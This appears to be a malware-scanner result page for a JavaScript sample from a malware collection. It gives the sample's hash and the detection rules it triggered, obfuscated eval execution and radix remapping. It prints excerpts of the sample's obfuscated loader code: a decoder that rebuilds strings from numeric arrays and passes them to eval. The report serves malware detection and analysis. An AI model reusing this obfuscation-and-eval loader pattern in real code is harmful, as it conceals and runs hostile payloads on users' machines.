Suspicious ^80% javascript-malware-collection Download

20151211_35181b569b11673bae9bca97a3e3b1c9.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2568e35cc64f5db551020050b8f356f7f31ab0dd9f6bfd0d93edc5da4fb25636970

Evidence

parseInt toString radix remap lines 1–4

1:460… ','w','x','y','z','{','|','}','~','']
2function vUZju(QsLmeDevQaG,eKezexpEsTKgK,HhKnUSjH){zgQN=parseInt(QsLmeDevQaG,eKezexpEsTKgK);Nmavo=zgQN.toString(HhKnUSjH);return Nmavo;}function ypmzTNTIijfxnYb(iAgKrGfDbQQmKGote){eval(iAgKrGfDbQQmKGote)}
3function FJJPbycNpvXNafBjhSCycnrGZgcmoraSrvcJDYpkFMGdRvDSzEnsgE(pxqoVESNxefCD,pRjqflBBpeFkBL){ return qTlfQ[vUZju(pxqoVESNxefCD[pRjqflBBpeFkBL],(6930+168)/338,(70+630)/70)];}
4function WwfLRhO(HhyAOoOABbOErgprVMmQbxzbfukjiqGFzGRD) {return !isNaN(parseFloat(HhyAOoOABbOErgprVMmQbxzbfukjiqGFzGRD)) && isFinite(HhyAOoOABbOEr …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  tnccD=[m,B];
9var uADQczNFz=[];
10function LIgpHCVdSoBbZSdOv(tnccD){NHmbduqxrRg= '';ChTwlrhbcLA=(-157+157)/858; while(true){if(ChTwlrhbcLA >= (1311+615)/963)break;uADQczNFz[ChTwlrhbcLA]=(-737+737)/281; while(true) { if(uADQczNFz[ChTwlrhbcLA] > tnccD[ChTwlrhbcLA].length-(588+159)/747) { break; } if (WwfLRhO(vUZju(tnccD[ChTwlrhbcLA][uADQczNFz[ChTwlrhbcLA]],(13014+279)/633,(7982+228)/821))) {NHmbduqxrRg += FJJPbycNpvXNafBjhSCycnrGZgcmoraSrvcJDYpkFMGdRvDSzEnsgE([tnccD[ChTwlrhbcLA][uADQczNFz[ChTwlrhbcLA]]], (-418+418)/587);} uADQczNFz[ChTwlrhbcLA]++;}ChTwlrhbcLA++;} return NHmbduqxrRg}
11ypmzTNTIijfxnYb(LIgpHCVdSoBbZSdOv(tnccD));